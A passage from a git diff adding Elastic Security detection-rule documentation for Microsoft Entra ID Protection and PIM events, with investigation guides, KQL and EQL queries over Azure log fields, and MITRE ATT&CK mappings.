who issued the command. Do they look normal for the user? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Check if this operation was approved and performed according to the organization's change management policy. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the account's commands, API calls, and data management actions in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this activity didn't follow your organization's change management policies, it should be reviewed by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Restore the PIM roles to the desired state. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update role setting in PIM" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-admin-confirmed-compromise.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-admin-confirmed-compromise.asciidoc new file mode 100644 index 0000000000..89cb0eafad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-admin-confirmed-compromise.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-entra-id-protection-admin-confirmed-compromise]] +=== Entra ID Protection Admin Confirmed Compromise + +Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-investigate-risk +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks +* https://learn.microsoft.com/en-us/graph/api/resources/riskdetection + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This is a critical security event that requires immediate investigation and response. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_detail` field to determine if the compromise was confirmed at the sign-in level (`adminConfirmedSigninCompromised`) or user level (`adminConfirmedUserCompromised`). +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the compromised user account. +- Review the `azure.identityprotection.properties.user_display_name` field for additional user identification information. +- Examine the `azure.identityprotection.properties.risk_level` field to understand the severity level assigned to the risk event. +- Check the `azure.identityprotection.properties.risk_state` field to verify the current state of the risk (should be confirmed as compromised). +- Review the `azure.correlation_id` field to correlate this event with other related security events, including the original risk detections that led to the admin confirmation. +- Investigate the timeline of events leading up to the admin confirmation by reviewing Entra ID sign-in logs and audit logs for the affected user. +- Check for any suspicious activities associated with the user account, including: + - Unusual sign-in locations or IP addresses + - Access to sensitive resources or applications + - Changes to user profile, permissions, or MFA settings + - Bulk email sending or data exfiltration activities +- Review the `azure.identityprotection.properties.additional_info` field for any additional context provided by the administrator or Entra ID Protection. +- Identify which administrator confirmed the compromise by reviewing Entra ID audit logs for risk state changes. + + +*False positive analysis* + + +- Security testing or penetration testing exercises may result in administrators confirming test accounts as compromised. If this is expected behavior, consider excluding specific test accounts or implementing a testing account naming convention to filter. +- Incident response drills or tabletop exercises may involve marking accounts as compromised for training purposes. Coordinate with security teams to identify planned exercises. + + +*Response and remediation* + + +- Immediately reset the password for the compromised user account and require the user to set a new password upon next sign-in. +- Revoke all active sessions and authentication tokens for the compromised account, including: + - Primary refresh tokens (PRTs) + - OAuth tokens + - Session cookies + - Application-specific passwords +- Review and revoke any suspicious OAuth consent grants or application permissions added by the compromised account. +- Enable or enforce multi-factor authentication (MFA) for the affected user account if not already enabled. +- Review all activities performed by the compromised account, including: + - Email forwarding rules or inbox rules + - File access and downloads + - Changes to security settings or permissions + - Creation of new users or service principals +- Assess the scope of the compromise by identifying any lateral movement or privilege escalation activities. +- Consider disabling the account temporarily until the investigation is complete and all remediation steps are verified. +- Implement conditional access policies to prevent future compromises, such as requiring MFA from untrusted locations or blocking legacy authentication. +- Review and strengthen identity protection policies and risk-based conditional access rules. +- Document the incident, including the timeline, scope of compromise, and remediation actions taken. +- Conduct a post-incident review to identify gaps in security controls and implement improvements to prevent similar incidents. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.identity_protection and + azure.identityprotection.properties.risk_detail: ( + "adminConfirmedSigninCompromised" or + "adminConfirmedUserCompromised" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-alerts-for-user-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-alerts-for-user-detected.asciidoc new file mode 100644 index 0000000000..884193f3a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-alerts-for-user-detected.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-entra-id-protection-alerts-for-user-detected]] +=== Entra ID Protection Alerts for User Detected + +Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection Alerts for User Detected* + + + +*Possible investigation steps* + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.identityprotection.properties.user_principal_name with maxspan=10m +[any where event.module == "azure" and data_stream.dataset == "azure.identity_protection"] with runs=2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-sign-in-risk.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-sign-in-risk.asciidoc new file mode 100644 index 0000000000..beebfae92e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-sign-in-risk.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-entra-id-protection-risk-detection-sign-in-risk]] +=== Entra ID Protection - Risk Detection - Sign-in Risk + +Identifies sign-in risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects sign-in activity such as anonymized IP addresses, unlikely travel, password spray, and more. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#risk-types-and-detection +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Use Case: Risk Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Data Source: Entra ID Protection Logs + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects sign-in risk detection events via Microsoft Entra ID Protection. It identifies various risk event types such as anonymized IP addresses, unlikely travel, password spray, and more. These events can indicate potential malicious activity or compromised accounts. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_event_type` field to understand the specific risk event type detected. +- Check the `azure.identityprotection.properties.risk_level` field to determine the severity of the risk event. +- Check the `azure.identityprotection.properties.risk_detail` field for additional context on the risk event. +- Review the `azure.correlation_id` field to correlate this event with other related events in your environment. +- Review the `azure.identityprotection.properties.additional_info` field for any additional information provided by Entra ID Protection. +- Review the `azure.identityprotection.properties.detection_timing_type` field to understand when the risk event was detected. Offline detections may indicate a delayed response to a potential threat while real-time detections indicate immediate risk assessment. +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the user account associated with the risk event. This can help determine if the account is compromised or if the risk event is expected behavior for that user. Triage the user account with other events from Entra ID audit or sign-in logs to identify any suspicious activity or patterns. + + +*False positive analysis* + + +- Users accessing their accounts from anonymized IP addresses, such as VPNs or Tor, may trigger this rule. If this is expected behavior in your environment, consider adjusting the rule or adding exceptions for specific users or IP ranges. +- Users who frequently travel or access their accounts from different geographic locations may trigger this rule due to the unlikely travel detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. +- Users who have recently changed their passwords may trigger this rule due to the password spray detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. + + +*Response and remediation* + +- Investigate the user account associated with the risk event to determine if it has been compromised or if the risk event is expected behavior. +- If the risk event indicates a compromised account, take appropriate actions such as resetting the password, enabling multi-factor authentication, or disabling the account temporarily. +- Review authentication material such as primary refresh tokens (PRTs) or OAuth tokens to ensure they have not been compromised. If necessary, revoke these tokens to prevent further access. +- Implement sign-in risk policies in Entra ID Protection to automatically respond to risk events, such as requiring multi-factor authentication or blocking sign-ins from risky locations. +- Ensure multi-factor authentication is enabled for all user accounts to provide an additional layer of security against compromised accounts. +- Consider using high risk detections and conditional access evaluations to enforce stricter security measures for accounts or enable access revocation. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.identity_protection" and + event.action: "User Risk Detection" and + azure.identityprotection.properties.activity: "signin" and + not azure.identityprotection.properties.risk_state: ( + "remediated" or "dismissed" or "confirmedSafe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-user-risk.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-user-risk.asciidoc new file mode 100644 index 0000000000..31caa789f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-risk-detection-user-risk.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-entra-id-protection-risk-detection-user-risk]] +=== Entra ID Protection - Risk Detection - User Risk + +Identifies user risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects user risk activity such as anonymized IP addresses, unlikely travel, password spray, and more. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#risk-types-and-detection +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Use Case: Risk Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Data Source: Entra ID Protection Logs + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects user risk detection events via Microsoft Entra ID Protection. It identifies various risk event types such as anonymized IP addresses, unlikely travel, password spray, and more. These events can indicate potential malicious activity or compromised accounts. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_event_type` field to understand the specific risk event type detected. +- Check the `azure.identityprotection.properties.risk_level` field to determine the severity of the risk event. +- Check the `azure.identityprotection.properties.risk_detail` field for additional context on the risk event. +- Review the `azure.correlation_id` field to correlate this event with other related events in your environment. +- Review the `azure.identityprotection.properties.additional_info` field for any additional information provided by Entra ID Protection. +- Review the `azure.identityprotection.properties.detection_timing_type` field to understand when the risk event was detected. Offline detections may indicate a delayed response to a potential threat while real-time detections indicate immediate risk assessment. +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the user account associated with the risk event. This can help determine if the account is compromised or if the risk event is expected behavior for that user. Triage the user account with other events from Entra ID audit or sign-in logs to identify any suspicious activity or patterns. + + +*False positive analysis* + + +- Users accessing their accounts from anonymized IP addresses, such as VPNs or Tor, may trigger this rule. If this is expected behavior in your environment, consider adjusting the rule or adding exceptions for specific users or IP ranges. +- Users who frequently travel or access their accounts from different geographic locations may trigger this rule due to the unlikely travel detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. +- Users who have recently changed their passwords may trigger this rule due to the password spray detection mechanism. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users. + + +*Response and remediation* + +- Investigate the user account associated with the risk event to determine if it has been compromised or if the risk event is expected behavior. +- If the risk event indicates a compromised account, take appropriate actions such as resetting the password, enabling multi-factor authentication, or disabling the account temporarily. +- Review authentication material such as primary refresh tokens (PRTs) or OAuth tokens to ensure they have not been compromised. If necessary, revoke these tokens to prevent further access. +- Implement sign-in risk policies in Entra ID Protection to automatically respond to risk events, such as requiring multi-factor authentication or blocking sign-ins from risky locations. +- Ensure multi-factor authentication is enabled for all user accounts to provide an additional layer of security against compromised accounts. +- Consider using high risk detections and conditional access evaluations to enforce stricter security measures for accounts or enable access revocation. + + +==== Setup + + + +*Required Microsoft Entra ID Protection Logs* + +To use this rule, ensure that Microsoft Entra ID Protection logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.identity_protection" and + event.action: ("User Risk Detection" or "Risky user") and + azure.identityprotection.properties.activity: "user" and + not azure.identityprotection.properties.risk_state: ( + "remediated" or "dismissed" or "confirmedSafe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-user-alert-and-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-user-alert-and-device-registration.asciidoc new file mode 100644 index 0000000000..e69dbf8d3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-protection-user-alert-and-device-registration.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-entra-id-protection-user-alert-and-device-registration]] +=== Entra ID Protection User Alert and Device Registration + +Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.identity_protection-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Protection Logs +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Protection User Alert and Device Registration* + + + +*Possible investigation steps* + + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. +- Consider the context of the user account and whether the activity is expected. For example, if the user is a developer or administrator, they may have legitimate reasons for accessing resources from various locations or devices. +- A Microsoft Entra ID Protection alert may be triggered by legitimate activities such as password resets, MFA changes, or device registrations. If the user is known to perform these actions regularly, it may not indicate a compromise. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=5m +[any where data_stream.dataset == "azure.identity_protection"] by azure.identityprotection.properties.user_principal_name +[any where data_stream.dataset == "azure.auditlogs" and event.action == "Register device"] by azure.auditlogs.properties.initiated_by.user.userPrincipalName + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git 